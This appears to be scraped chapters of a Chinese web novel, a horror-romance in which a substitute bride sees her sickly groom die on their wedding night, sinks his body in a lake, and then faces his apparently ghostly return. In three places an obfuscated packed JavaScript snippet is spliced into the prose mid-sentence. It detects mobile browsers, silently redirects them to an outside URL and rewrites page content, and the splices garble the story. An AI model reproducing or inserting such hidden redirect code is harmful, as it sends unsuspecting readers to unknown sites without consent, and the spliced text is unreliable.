声音压得虽低,却一字不落地钻进云雀耳朵里。那些句句往人心窝子上捅刀子的话,落到她这儿,反倒叫她盖头下的嘴角都忍不住往上翘。 字字句句,简直说到她心坎里去了。 又一声高唱刺破喧闹:“新——娘——子——出——阁——啦——!” 搀扶着她的手臂一紧,云雀顺势停下了脚步。 随即先是林老爷略显低沉的声音在近处响起,威严却难掩慈爱:“此去侯府,谨守闺训,侍奉夫君,相夫教子,勿负林家教养之恩。” 接着,是林二夫人的声音,她靠得更近了些,“舒儿……好生珍重。若受了委屈……”像是后面的话太过艰难,她哽了一下,才涩声道:“记得还有娘在……”一只带着暖意的手,隔着厚重的嫁衣袖子,轻轻捏了捏云雀的手臂,随即又飞快地松开。 像是并不知道这盖头下的新娘子是假的。 云雀自幼没了爹娘,十一岁后更是孤零零飘在世间。所谓骨肉亲情,于她只是街头巷尾听来的传说。 她对林府上下、对这场替嫁的算计嗤之以鼻,可偏偏这寥寥几句带着哽咽的话,像一根细小的针,猝不及防穿透了她层层包裹的硬壳,刺得心窝深处某个早已干涸的地方。 一时间,竟渗出一点陌生的、不合时宜的酸涩。 喉咙像是被什么堵住了,云雀含糊地挤出一点带着鼻音的回应: “……嗯。” 紧接着,一截冰凉滑腻的红绸被人塞进她手心,然后便被按着进了花轿。 轿帘“哗啦”一声垂落,隔绝了外界的喧嚣与窥探。 骗人的事她做过不少,嫁人嘛……若不算三年前破庙里那场潦草得如同闹剧的婚礼,今日倒是头一回。 头一回被“爹娘”嘱咐,头一回正经八百地坐上花轿。 只是这轿子抬向的,不是那个曾许诺她安稳的人,而是一个素未谋面、病骨支离的陌生男子。 云雀心里莫名有些难受,手不受控制地探入衣襟,指尖摸索,终于触到一枚温润微凉、棱角熟悉的玉佩。 “沈羡……”两个字不自觉地喃喃出口,鼻尖猛地一酸。 云雀似乎被自己的反应惊了一下,近乎慌乱地吸了吸鼻子,将玉佩收了回去。 ***** 许是太累了,云雀竟在轿身的摇晃中昏昏沉沉地睡了过去。 不知过了多久,轿身猛地一顿。 紧接着,震耳欲聋的鞭炮声像无数炸雷在耳边爆开,震得她一个激灵,轿帘外的喧嚣人声也如同潮水般重新涌了回来。 她浑浑噩噩地被搀扶出轿,脚下踩着的似乎不是坚实的地面,而是虚浮的云雾。 盖头下的红光朦胧晃动,她感觉自己像个提线木偶,被一左一右架着胳膊,进了喜堂。 “咳——嗬嗬……咳咳咳——” 甫一踏入,耳边就不断响起压抑的、撕心裂肺的咳嗽声。每一声都像是要把五脏六腑都咳出来,听得人头皮发麻。 云雀隔着晃动的红纱,目光掠过轮椅扶手边的那只手。指节修长,瘦得骨节分明,几乎没有血色,正微微颤抖着。 那就是永定侯府的二公子,江聿风了。 盖头下,云雀努力地、小心翼翼地转着眼,试图偷瞄一眼这个即将被她“克”死的可怜虫。 可惜视角太低,也太偏,只勉强瞥见一个苍白瘦削的下巴,和那剧烈起伏,仿佛随时都会散架的胸膛。 “一拜天地——”执礼先生拖长了调子。 云雀配合地低下头,动作干脆。 “二拜高堂——”她又迅速弯下腰,余光瞥见上首坐着的人影,大概是新任的公婆,正低声说着什么“好好照顾聿风”、“侯府不会亏待你”之类的话。 云雀一个字都没听进去,心早已飞到了礼成后脱身的那一刻。 先生再唱:“夫妻对拜——” 云雀对着轮椅方向草草一俯身。轮椅上的喘息声更重了,夹杂着不祥的嗬嗬声。 她心头掠过一丝异样,最终化作两个字:可怜。 折腾了大半日,云雀终于被送进了所谓的新房。 空气里便弥漫着一股浓重的苦药味,混着一种从久病之躯深处散发出来的沉暮之气。 云雀揉了揉鼻子,又叹了句:真可怜。 红烛噼啪燃烧,烛泪缓慢堆积。 偌大的房间里静得能听见自己的心跳,唯有门外遥远的喧闹声提醒着这是场喜事。 天色彻底暗沉下去,又有下人悄无声息地进来,点亮了更多红烛,将室内映照得如同白昼般亮堂。 门“吱呀”一声被推开,云雀赶忙放下盖头。 轮椅的轱辘声碾过地面,带着一种缓慢而滞涩的节奏,由远及近。 云雀能听到低低的几句交待,大约是说自己喜静,吩咐下人都退下,不可留在南院。 不可留在南院?莫非是不想被听墙角,让人知道他不能行人道? 未及云雀细想,那轱辘声停在了她面前不远处。 一片安静中,她似乎听到衣料摩擦的细微声响,仿佛坐着的人微微欠身,竟是对她行了一礼,“林姑娘有礼。” 声音意外地很好听,低且沉澈,带着一丝哑。 此人不仅行礼,还称“林姑娘”,看来是个呆子。 云雀如是想着,便见一柄系着红绸的玉如意探到她的盖头边缘。 她的心也跟着提了起来。 方至此时,她才感受到一丝紧张,虽然她并不姓林,也从未觉得自己对方真是自己夫君,然天地已拜,此刻端坐于此、即将被挑开盖头的,却是实实在在的她自己。 玉如意一头似乎迟疑了一瞬,才下定决心,慢慢伸了过来。 轻轻一挑,红盖头飘然拂落在地。 盖头落地无声。 那头江聿风好似也没了声音。 顺着云雀的目光望去,那执如意的手仍凝滞在半空,修长指骨莹白如玉,几乎与掌中玉柄同色。 云雀忍不住抬起眼。 江聿风一身正红喜服,身形清瘦,虽坐在轮椅上,却比想象中高大。 他的脸色是病态的白,几乎透明,嘴唇也没什么血色,但那张脸……眉如墨画,眸似寒星,鼻梁高挺。 烛火在他深邃的眼眸里跳跃,晕出一种惊心动魄、却又脆弱如琉璃的病态妖冶。 那是一种带着破碎感的美,仿佛冰雕玉琢的谪仙坠入凡尘染了重疾,又似深山中汲取了月华、却命不久矣的精怪。 三年了…… 自从沈羡死后,她再没见过这样夺人心魄的容色,便是那霁月光风的谢三公子,也少了这般让人心惊的、濒临毁灭的极致风华。 江聿风掩唇低低咳了两声,喉结滚动,似乎在极力压抑翻涌的不适。 片晌,他抬眸看过来,苍白的唇边缓缓绽开一个极温柔的笑意。 光自他身后漫上来,将一身丹红浸成镀满碎金的杜鹃花海,仿佛有星河如素练撒空,他便是那片花海里,笑着接过流光的人。 这一笑,拂散了满室烛火的灼热,带起一片难以言喻的旖旎。 云雀完全没料到会是这样的情形,更没料到自己竟不受控制地,对着这个“病秧子夫君”,也回了一个有些怔忡、却真真切切的笑容。 然而,这短暂的、几乎不真实的温情,被一阵突如其来的剧咳打破。 “咳咳咳——嗬嗬——”江聿风猛地弯下腰,用手死死捂住嘴,咳得整个人都在轮椅上蜷缩起来,肩膀剧烈耸动,仿佛随时都会散架。 那咳声痛苦得让人不忍卒听。 云雀被这骇人的声响拽回现实,方才心头那点不合时宜的涟漪和悸动,霎时被这刺耳的、宣告着死亡的咳声浇灭了八分。 她看着轮椅上这个蜷缩的身影,默默长叹一声:再好看又有什么用?看这光景,怕是……熬不了几日了。 可惜……真是可惜了这样一张脸。 云雀压下纷乱的念头,收起一丝不忍,一丝不舍,依着秦嬷嬷教的章程,起身挪到桌边。 铺着大红桌布的圆桌上,摆着酒壶和一对小巧玲珑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那力道不大,却是真的凉,激得云雀一个哆嗦。 对方似有所觉,烫一般收回手。 “抱歉……”声音低哑。 云雀愣了一愣,倒真是个呆子。 不知是觉得他这副模样有趣,还是为日后“守活寡”的自在日子提前感到快意,云雀忍不住弯了眉眼,无声地笑了出来。 她本就生得清秀灵动,杏眼澄澈如含秋水,翘鼻樱唇,此刻因屋内暖意蒸腾,两颊因屋内焗闷变得粉扑扑的,凑近些,几乎能看清颊边细软的绒毛。 而随着这一笑,那双本就明亮的眸中便似落了星子,漾出扣人心扉的光。 碎光落进江聿风眼里,他似乎怔了片刻,目光凝在她脸上,不动了。 云雀唇角笑意犹在,却不期然撞入他沉静如海的眸中。那目光深邃,竟让她心头一灼,慌忙移开视线。 心头警铃微作:这般眼神……莫不是扮猪吃虎? 她喉头微动,正思量着该如何寻个由头分榻而眠,忽闻一阵衣袖窸窣轻响。 只见江聿风自宽大的袖袍中探出手,指尖微蜷,小心翼翼地递过一物:“我素日少出门,闲暇便爱倒腾些小物件。此簪乃亲手所制,望姑娘莫嫌粗陋。” 簪子?!云雀眸光倏地亮了几分。 侯府公子亲手所制,想来必是珠玉玲珑。她按下心头雀跃,声线刻意放得柔婉:“夫君这是什么话,你送的,便是一根枯枝妾身也……” 话音未落,戛然止于唇畔。 那递到眼前的簪子,竟真是一支木簪。 呵……谁会料到这二公子清闲至此,竟用木头雕了支发簪?簪子通体流畅,打磨得极为光滑,簪头一朵不知名的小花,倒是雕工精巧,细腻入微。好看是真好看,精致也够精致,可惜……非金非玉。 “……” 江聿风见她目光凝在那簪花上,轻声解释道:“是忍冬……” 他并未言明为何选择了忍冬,云雀也无心深究。暗自劝慰了自己好半晌,才堪堪扯出一个得体的弧度,“多谢……夫君。” 江聿风似微微松了口气,唇边舒展开一丝清浅的笑意,抬手替她簪上木簪。 虽只是个木簪子,但这戏到底得做足。云雀分外沉静地垂下眸去,任由他在自己发髻上摆弄起来。 她长睫微垂,敛去眸中机敏,竟透出几分难得的娴静。 云雀只觉得江聿风的手在她发间停了好半晌,随后,一个低沉微哑,带着极致温柔的声音响起: “愿此簪子护姑娘……咳咳……” 听着那声“姑娘”,云雀险些失笑,心中戒备更松,胆气也壮了,回以明媚笑靥,“既行过礼便是夫妻,夫君怎还……” 然而她话未说完,只见一抹刺目猩红猝然自江聿风唇边溢出。 云雀心头骤紧,“夫君,你……?” “呃……噗——!” 江聿风身体剧烈一颤,一大口暗红色的、带着浓重腥气的鲜血,如同泼墨般从他口中狂喷而出,喷溅到云雀脸上,沾染上她新簪的忍冬花。 云雀吓得魂飞魄散,几乎本能地向后弹跳躲闪。 就在她跳开的刹那,江聿风的身体仿佛瞬间被抽空了所有支撑,如同一袋沉重的败絮,毫无预兆地从轮椅上软塌塌地滑坠下来。 “咚”一声闷响,重重摔倒在地毯上。 他蜷缩着,如同离水的鱼在做最后的挣扎,猛烈地抽搐、弹动了几下…… 然后,静止了。 一切来得太快,太突然。 房间里死寂一片,只剩下红烛燃烧的噼啪声,还有云雀擂鼓般的心跳声。 她惊魂未定,手脚冰凉地站在原地,大气都不敢喘。仿佛过了一个甲子,她才像是突然惊醒般,颤抖着、试探着往前挪了一小步。 “夫……夫君?”她小声地、带着哭腔地唤了一声。 地上的人,无声无息,毫无反应。 云雀的心沉到了冰冷的谷底。 她咬紧下唇,强忍着巨大的恐惧,蹲下身,伸出两根颤抖得不成样子的手指,慢慢地、慢慢地靠近江聿风的口鼻…… 没有了,居然一丝气息都没有了。 她的手指像被烫到一样猛地缩回。 犹不死心,她又鼓起最后一点勇气,颤抖着手按向江聿风瘦弱的胸口……左边、右边、甚至脉门都摸遍了,皆是一片死寂,再也没有任何起伏。 她又惊又怕又本能地抬起他的脸想要确认。 然而这一看,云雀只觉得一股寒气从脚底板瞬间窜上了天灵盖。 只见江聿风那张苍白的俊脸上,眼睛、鼻孔、嘴角、耳朵……七窍之中,正缓缓地、蜿蜒地流出暗红色的、粘稠的鲜血。 在红烛的映照下,交织成一副极其诡谲、妖异、令人魂飞魄散的死亡图景。 他死了。 方才还与她交臂共饮的“夫君”,顷刻之间,七窍流血,死了! 4. 鬼新郎 云雀脑子嗡的一声,彻底懵了。 她本是受人胁迫来“克”死江聿风的,成与不成,那都是命数。 克死个病秧子,顶多是“命硬”,侯府至多把她扫地出门。可要是让人发现新郎官是七窍流血、明显被毒死的……那凶嫌,首当其冲就是她这个来历不明的“冲喜新娘”。而一旦被送去京兆府,便是有去无回。 她必须逃,立刻,马上! 然而脚步刚抬起,又撤了回来。不行,阿九还未脱险,那黑衣人说得过了今日才会放他,无论是真是假,她都得撑过这一晚。 云雀看着地上那没了声息的人,眼前阵阵发黑,恍惚竟似瞥见三年前那直挺挺倒伏在那简陋喜堂的短命鬼。 一股怨气翻涌而上,全数砸在了“沈羡”这个名字上。 “说什么护我一世,都是假的。累我没了安身之地,自己转头就撒手人寰。若非当日信了你去,我也不至于落到如斯田地,混蛋,骗子!” 她语无伦次地咒骂着沈羡的拖累,手却不敢停歇,慌乱地处置现场。 嘴上恨声不绝,手下动作飞快,可是眼泪却止不住地、不受控地往下掉,啪嗒、啪嗒,砸在江聿风苍白的脸上,砸在冰冷的地面。 突然—— “嗒”一声轻响,什么东西从她混乱的动作间滑脱,砸在地上。 轻微的磕碰声在死寂的新房里格外突兀。她动作一滞,抬起袖子胡乱抹了把脸,血红着眼睛,低头看去,地上躺着的正是那枚再熟悉不过的玉佩。 沈羡送的玉佩。 一股无名邪火瞬间窜起。 她俯身捡起玉佩,愤恨抬手,用尽全力狠狠朝墙壁掼去,然而手臂高扬,却在半空硬生生僵住。 几息僵持,那手终究是颓然、无力地垂落下来。 ***** “噗通!” 沉重的落水声撕裂了寂静的夜湖,涟漪急速扩散,很快又归于平静。 云雀瘫坐在冰冷的湖石上,大口喘着粗气,一颗心在腔子里疯狂擂鼓,几乎要顶破喉咙跳出来。 看着湖面上最后一丝波纹消失,她悬着的心才稍稍落下一点。 适才打发走送醒酒汤的秦嬷嬷后,她几乎是凭着本能行动。手脚并用地扯下那张厚实的锦缎床单,将那具已毫无生气的身体裹了个严严实实。 幸好她从小力气就比寻常女子大,生死关头更是榨出了浑身潜力,咬着牙,连拖带拽,硬是把这沉重的“粽子”从窗户塞了出去。 白天进这南院时她就闻到了湖水的味道。果然,拖着“粽子”跌跌撞撞往南没几步,冰凉的水汽就扑面而来。 十六的月亮悬在天心,清泠泠的月光泼洒下来,照得四下里一片惨白,照得云雀心底发怵。 她借着树影遮蔽,一步步挪到湖边,每一步都沉得坠脚。 顾不上喘息,她又迅速寻来几块沉重湖石,哆嗦着手,勉强将那锦缎裹尸与石头胡乱捆作一处。 末了,借着这冷浸浸的月色,她又瞥了眼锦缎裹布里露出的那张脸,心头莫名一涩: 可惜,可惜了这张脸。 再不敢多看,她闭着眼,用尽最后的力气重重一推。 “粽子”顺着湖岸滑落,被沉重的石块猛地拽着,咕咚一声,彻底没入深不见底的黑暗。 成了,终于沉下去了。 云雀看着恢复死寂的湖面,绷紧的脊背终于一垮。 活下来了……暂时。 云雀抹去额上冷汗,强撑着站起,拖着发软的双腿,跌跌撞撞往回跑。 冲回新房,反手死死扣紧门扉。 房内,淡薄的血腥气混杂着合卺酒的甜腻,尚未散尽。 云雀一把撑住妆台边缘,深吸几口气,强行压下胸腔里翻涌的慌乱。 拜堂礼成,若那黑衣人还算守信,阿九应已随陪嫁仆从混入侯府中。而此刻无人知晓江聿风已死,亦不会留意于她。既然不能坐以待毙,不如换身下人衣裳,暗中探问,或许能寻见阿九。 不过在此之前…… 那五千两怕是要泡汤了,念及此,云雀心头狠狠一抽。但心念一转,那几箱陪嫁之物,却是她实打实用命搏来的。 不行,得拿! 云雀不再犹豫,腾出个包袱,直扑墙角那几个箱笼。 然而甫一掀开箱盖,她就傻眼了。除昨日所见一箱锦绣衣衫并小匣珠翠外,余下几口沉甸甸的箱箧里,竟是满当当的—— 画本子?! 云雀额角突突直跳,原来那林四小姐竟对画本子痴迷至此了。 正这时,冷不防被一片碎光晃了眼,她的视线不由自主挪向满室贺礼:红绸裹着的金银锭、嵌宝鎏金的首饰匣、数匹流光云锦……摇曳烛火下折出点点碎芒。 她本不想动这些贺礼,毕竟江聿风死于非命,自三年前那遭,她便不敢再动这种横死之财。可若空手而去,当真是一无所有了。 只一瞬迟疑,贪念便压倒了理智。 顾不得许多了。 她一咬牙,便开始手忙脚乱地往包袱里塞:沉手的金锭、冰凉沁骨的玉镯、一支钗头缀着鸽卵大珍珠的金簪……包袱肉眼可见地鼓胀、下坠。 “跑路还得填饱肚子。”瞥见案上那碟未动的芙蓉糕,她抓了两块掖入怀中,又塞了一块进嘴里。 正欲转身—— 呼! 一阵阴冷刺骨的寒风,毫无征兆地卷了进来。烛火猛地狂颤,幽光乱跳,几近熄灭。 一股寒气自尾椎窜起,云雀动作骤然僵滞。 她分明记得,自己阖紧了门窗。 云雀几乎不敢呼吸,正疑惑间,突然,听到水珠滴落的声音: “嗒……嗒……” 后背寒意炸开,汗毛倒竖,一股冰冷的、难以言喻的恐惧顿时攫住了她。 她僵硬地、极其缓慢地转过身。 就在她身后不过数步之遥,一道湿淋淋的颀长身影,正无声立着。 昏昧烛影下,刺目的血红喜袍,苍白得几近透明的脸,以及那双死寂无波,幽冷如万丈寒潭,正死死地、一瞬不瞬地盯着她的眼…… 是江聿风。 是方才那个,她亲自确认了无数回,死得透透的——江聿风! 云雀身形一震,口中的芙蓉糕脱落坠地。 她生于纸扎丧铺,听过的诡闻比行过的桥还多,自然知道人有三魂七魄。正所谓人之魂善而魄恶,人之魂灵而魄愚。若人身死魂散,而体内浊魄未消,滞留尸身,则此身便可能沦为恶魄驱使的邪祟。 今日虽只与江聿风匆匆一见,言语不过寥寥,然其眸光清朗,神思温善,绝非恶类。 但眼前这“人”,这双眼睛,露出的凶戾之色哪里还有半点早先病弱温雅的样子,甚至…… 甚至他还能站起来了。 一个极度可怕,极尽荒谬,却又让她没有理由不相信的念头浮现: 眼下这湿漉漉立于面前的,是那浊魄未散、借尸作祟的—— 恶鬼。 此念一出,她喉间所有声音,便如同被无形的巨掌扼断,只挤出半声短促的、恐惧到极致的抽息。 直至一个冰冷得不带半丝活气的嗓音,穿透死寂,清晰地叩击在她耳畔: “春宵苦短,娘子……这是要去何处?” 云雀双腿一软,“噗通”一声重重砸跪在地。 怀中紧抱的包袱随之摔落,金银珠宝、钗环首饰、连同那两个干巴巴的点心,全都滚落出来,散落一地。 “冤……冤有头债有主。”云雀的声音抖得不成样子,带着哭腔,语无伦次,“毒真不是我下的,不是我,真的,你信我!这些……这些都给你,都孝敬您!” 她手忙脚乱地去抓地上的金元宝,胡乱往江聿风湿漉漉的鞋尖前推,“买纸马香车,买金童玉女,买最好的!求您……求您放过我!” 江聿风,或者说,占据着江聿风身体的“东西”一言不发,只是那双幽冷的眸子,更深、更沉地盯着她。 静默数息。 他缓缓地向前迈了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995523|178153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步,带着一股难以形容的湖水腥气和死亡的寒意,扼得云雀呼吸一窒。 第二步。 他离得更近了。 云雀清晰见到血红喜袍上滴下的水,正蜿蜒着朝自己爬来。她下意识往后缩,然而后背却猛地抵上冰冷墙面,退无可退。 第三步。 几乎只有一息的停顿,那冰冷的、带着水汽的五指,便猛然伸出,扼住了云雀纤细的脖颈! “唔!”云雀瞳孔骤缩。颈间刺骨的寒与窒息的痛楚,让她毫不怀疑,这刚从湖里爬出来的“东西”,下一刻就会拧断她的脖子。 “英……英雄……饶……饶命……”她疼得泪眼汪汪,下意识求饶。 然而那手却没有丝毫松动,反而一点点收紧。 肺腑空气寸寸抽空。 云雀在极致的恐惧中,脑子反被逼得清明了一瞬。 这般江湖气的求饶只怕没用,硬抗更是死路一条。 她艰难地从喉咙里挤出破碎的声音,声线变得无比娇软可怜,带着浓浓哭腔与颤意,像一只濒死的小兽: “好……好夫君……饶……饶妾身一命吧……您让妾身做什么都行,真的!做什么都行!” 就在云雀眼前发黑,以为必死无疑时,颈间的力道,极其微妙地……松了一瞬。 片刻后,放开了她。 新鲜的空气涌入胸腔,云雀剧烈地咳嗽起来,瘫软在地。 她大口喘息,心有余悸地偷眼看向那沉默伫立的水鬼。 那双幽冷的眸微微眯起,正居高临下审视着她涕泪狼藉的脸,眸光深处,似乎有什么东西在晦暗不明地涌动。 不知过了多久,冰冷的声音才再次响起,“既然如此……便请夫人,替为夫‘续魂’。” 续魂?! 云雀一听,立刻像抓住了救命稻草,管他“续魂”是什么鬼东西,先活命要紧。 “好好好,续,马上续。”她点头如捣蒜,挂着眼泪鼻涕的脸扬起来,语速飞快,“烧香?念经?还是请道士做法事?您说,妾身这就去准备。” 只要能活命,让她立刻剃度去当姑子都认了。 江聿风微微俯身,那张带着死气和水汽、俊美却惨白到不似活人的脸,骤然在云雀眼前放大。 一个低沉、缓慢、寒意森森的声音,一字一顿吐在她耳边: “渡、阳、气。” 渡……渡阳气?! 云雀只觉脑中轰鸣一声,彻底懵了。 如何渡? 她听过的鬼故事,看过的画本子里,只有妖邪“吸食阳气”,只消靠近些,那些妖魔鬼怪直接吸就行,这“渡”又要如何渡法? 可还没等她想明白这荒谬绝伦的要求到底意味着什么,那冰凉湿冷的双唇,已经不容分说地、重重地覆压了下来。 “唔——”云雀惊恐的呜咽被彻底堵在了喉咙里,只剩下身体绝望的、无声的震颤。 啊——救命!!! 刺骨寒意啮透四肢,极致的恐惧瞬间淹没了云雀的所有意识。 她连一声完整的惊呼都未及发出,眼前一黑,整个人脱力,软倒下去。 那双苍白冰凉的手,在她彻底瘫软前,下意识地捞住了她的腰身。 混乱,戛然而止。 新房陷入死寂。 莹白如玉的长指探入云雀微敞的衣襟,勾出一段褪色的旧红绳。绳下悬着半枚玉佩,原是双鱼咬尾的玉环,如今只剩一半。 指节微蜷,将残玉托于掌心,缓缓收紧。尚余体温的玉石硌入肌理,良久,指骨才一寸寸松开。 修长的指复又游移而上,抚过云雀颈侧、下颌,留恋般游走于唇瓣、鼻尖、眼睫,抚平她依旧微蹙的眉心…… 忽地,指尖悬停,定在她发间那支染血的忍冬木簪上。 双指拈出木簪,阖入掌心。下一瞬—— “咔嚓!”一声脆裂的清响,指间木簪应声而断。 森哑的嗓音沉沉割开凝滞的空气: “云雀……” 5. 第一夜 云雀从噩梦中惊醒。 屋内红烛还噼啪烧着,烛火轻曳,光线昏蒙,却也足以视物。 入目的,是柔软垂落的红绸床幔,身上,是厚实暖融的锦被。她恍惚了片刻,才察觉自己正躺在柔软的床榻上。 锦被中的手摸索着,悄悄掐了一把自己的大腿,嘶——疼—— 第一个念头冒出来:莫非江聿风还魂变鬼只是个梦? 云雀缓缓舒了口气,抬袖拭去额角冷汗。目光扫过衣袖,倏地一顿,自己身上不知何时换上了一身素净中衣。 这浅浅一惊,五感也彻底回笼,视线和感知扩大开来,她这才隐隐察觉身边似乎还有些别的什么。 一丝不安的情绪爬上心头。 云雀稳了稳心神,随即极慢、极慢地侧过头去。 看到的竟然是一张苍白的侧脸,就躺在她咫尺之距。 昏黄的光落在那精雕玉琢般的轮廓上,晕开淡淡光尘,美好得不似凡尘中人,倒似画中谪仙。 这静谧如画的一幕,让云雀心头一悸,竟生出一瞬恍惚。 又一个念头冒出来:难道不止遇鬼是梦,江聿风的死也是一场梦? 云雀闭了闭眼,努力搜寻记忆中的碎片,试图拼凑一个能说服自己的事实—— 江聿风根本没死,一切不过是自己贪杯,醉后生出的幻象罢了。 什么毒发身亡、湖边沉尸、鬼新郎索命、冰冷夺命的吻……种种可怖景象,统统都是梦。 也对,哪有恶鬼修罗需得唇齿相接才能渡取阳气的。 重获新生的雀跃战胜了恐惧,她甚至顾不得自己此刻与人同塌而眠究竟有没有吃那种亏,无声地笑了一下,笑自己这个荒谬的“渡气”梦,同时指尖也无意识地抬起来,碰了碰唇瓣。 然而这一碰,心尖儿又吊了起来。 那冰冷的触感仿佛还缠在唇上,实在太过真实。 许是后怕到了极点,反而拼命想证明那都是假的。云雀盯着眼前躺着的人,犹豫片刻,还是颤巍巍伸出两根手指。 指尖微微哆嗦着,慢慢探到了“江聿风”鼻下。 太好了!有气息! 虽然微弱又冰凉,但确确实实是存在的。 云雀彻底松了口气,这口气一松,胆子也跟着回来几分。 她又盯着江聿风看了几息,像是下了决心,咬了咬下唇,极轻地掀开了他胸口的被角。 上好的绸缎本就轻薄服帖,甚至有些透。不知是谁伺候他更衣,衣襟还虚虚敞着些,隐约露出胸膛的轮廓。虽不壮硕,但因肩宽,反而勾勒出几分清瘦又撩人的线条。 没成想,这病秧子的身板儿……倒还挺有看头。 不过此刻云雀并无瑕欣赏,她深深沉了口气,转手就朝他左胸口按去,就在指尖即将触到的刹那,腕间突然一紧。 还未及反应,一只冰冷得几乎不带活气的手凭空而出,紧紧攥住了她。 云雀本就只靠单手撑着身子,被这猝不及防的一拽,加上惊吓,整个人顿时失了平衡。眼前一花,上半身直接扑倒下去,脸颊重重磕在江聿风肩上。 她彻底吓懵了,甚至连一丝声响都发不出来。 身下的人似乎也僵了一瞬。 然而沉默只持续了这一瞬,很快,便有一个冰凉又带着戏谑的声音落下: “娘子就这般……急不可耐?” 云雀这才反应过来二人是以怎样暧昧的姿势紧贴着,慌忙借力想要撑起退开,可还未完全起身,心头猛地一跳。 她怔怔低头,视线茫然下移,当目光触及自己的左手时,整个人如同被施了定身咒,彻底僵住了。 她的手正撑着江聿风的左胸口,而掌心之下,空空如也,毫无声息。 没有温热,没有起伏,没有任何生命的搏动。 他——没有心跳! 所有的挣扎和尖叫都卡在了喉咙里,只剩下一种深入骨髓的冰冷恐惧,顺着被按住的掌心,瞬间蔓延直四肢百骸。 云雀几近崩溃,想缩回手,然而下一刻,一只冷如寒铁的大掌倏然压下,将她纤细的手腕连同手掌,死死摁回那片毫无声息的胸膛上。 “原来……”那声音再次响起,含带似有若无笑意,裹挟着地窖般的寒气,像霜雪般拢过来,“娘子喜欢这般在上面。” 若换做平日,这般被人调戏,她定是饶不了对方的。可眼前之人是谁?除了害怕,她哪里还顾得上其它。 不,这不是人。 是……是鬼! 这个念头一旦再次浮现,便在脑中疯狂滋长,再无法驱散。 她整个人开始止不住地战栗,泪水几乎要夺眶而出。她下意识想抽吸,又莫名想起那“渡阳气”三个字,呼吸一窒,赶忙用另一手拼命捂住口鼻,再不敢发出一点声音。 视线惶然上移间,正撞上一道深渊般的目光。那双眼正平静地、带着某种审视的兴味,将她濒临崩溃的模样尽收眼底。 幽冷的眸,似有若无的笑,这眼神,这声音,这语气……虽然他还是“江聿风”,可却有一个声音告诉云雀,这不是“江聿风”。 在恐惧与窒息的双重折磨下,云雀整张脸很快涨得通红,眼眶中盈满泪花。 或许是怕这唯一的“阳气源”真将自己闷绝,那占据着躯壳的存在,静静欣赏了片刻她徒劳的挣扎,终于纡尊降贵般开了口: “娘子这般是要将自己活活憋死么?”声音低沉,带着一丝不易察觉的玩味。他顿了顿,目光在她捂紧的手上逡巡,“若是断了气,谁还能替为夫‘渡气’?” 言罢,那只一直摁着她的手,终于缓缓松开。 云雀蓦地一怔,这意思是暂且会留她一命? 她小心翼翼地从紧捂的指缝间偷汲一丝微薄的空气,声音闷在掌中:“你……你不吸了?” 江聿风微微侧过身,单臂慵懒地支着下颌,眼睫轻阖,声音里透着七分冷意三分倦怠,“所谓取之有度,方能用之不竭。今日……”意味深长地顿了顿,“暂且够了。” 云雀的脸瞬间涨得更红了,紧接着又变得惨白,一双杏眼惊恐地瞪圆了,“你!你究竟……吸走了我多少阳气?!” 江聿风压了压唇角那丝几乎要溢出的冷笑,以拳抵唇,低低咳了两声,才用一种气若游丝又理所当然地道:“娘子放心,活人阳气,只需多晒晒日头……方可补回。” 晒……晒太阳?! 云雀僵了一瞬,那双还噙着泪花的眼茫然地眨了眨,仿佛没听懂这过于“朴实”的补救方式。 攥着被角的手松了又紧、紧了又松,半晌才干巴巴地挤出一句毫无气势的质问:“我……我凭什么信你?” 江聿风冷笑,“你有其它选择吗?”话音落,他眸色一寒,半撑起身,缓缓靠近。 “当然……”声音压得极低,带着致命轻柔,“你也可以选——立刻死。” “死”字轻飘飘落下,却重重砸在云雀心上。 她猛地一颤。 江聿风将她这副失魂模样尽收眼底,似被取悦般,终于露出一丝“宽仁”。 他慢悠悠道:“为夫怨气虽重,却也知晓冤有头,债有主。既已允诺,待查明真相,自当魂归天地,不复纠缠……” 云雀心里轻轻咯噔了一下,不由蜷紧指节,怯怯地道:“你的意思是,待查清你的……死因,当真会放我走?” 江聿风沉默地凝视着她。 片晌,他极其缓慢地,阖了一下眼。 这个微小的、代表肯定的动作落入云雀眼中,刹那间,紧绷了一整晚的心弦,终于彻底松了下来。 而随着这一松动,劫后余生般的悲喜汹涌而来,眼睫上那颗积蓄许久的泪珠,终于挣脱束缚、不受控地,掉落下来。 滚烫的一滴,啪嗒—— 重重砸落在江聿风撑在身侧的月白衣袖上,洇开一小片深色。 那一点突兀的温热触感,仿佛惊动了什么,江聿风缓缓坐起身来。 他眼尾微垂,视线划过胸前那点湿痕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995524|178153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又缓缓抬起,望向那张挂着泪痕的脸,眸色愈发深暗难辨。 云雀被这突如其来的一眼惊到,唯恐何处触怒了他,又要伸手扼来。 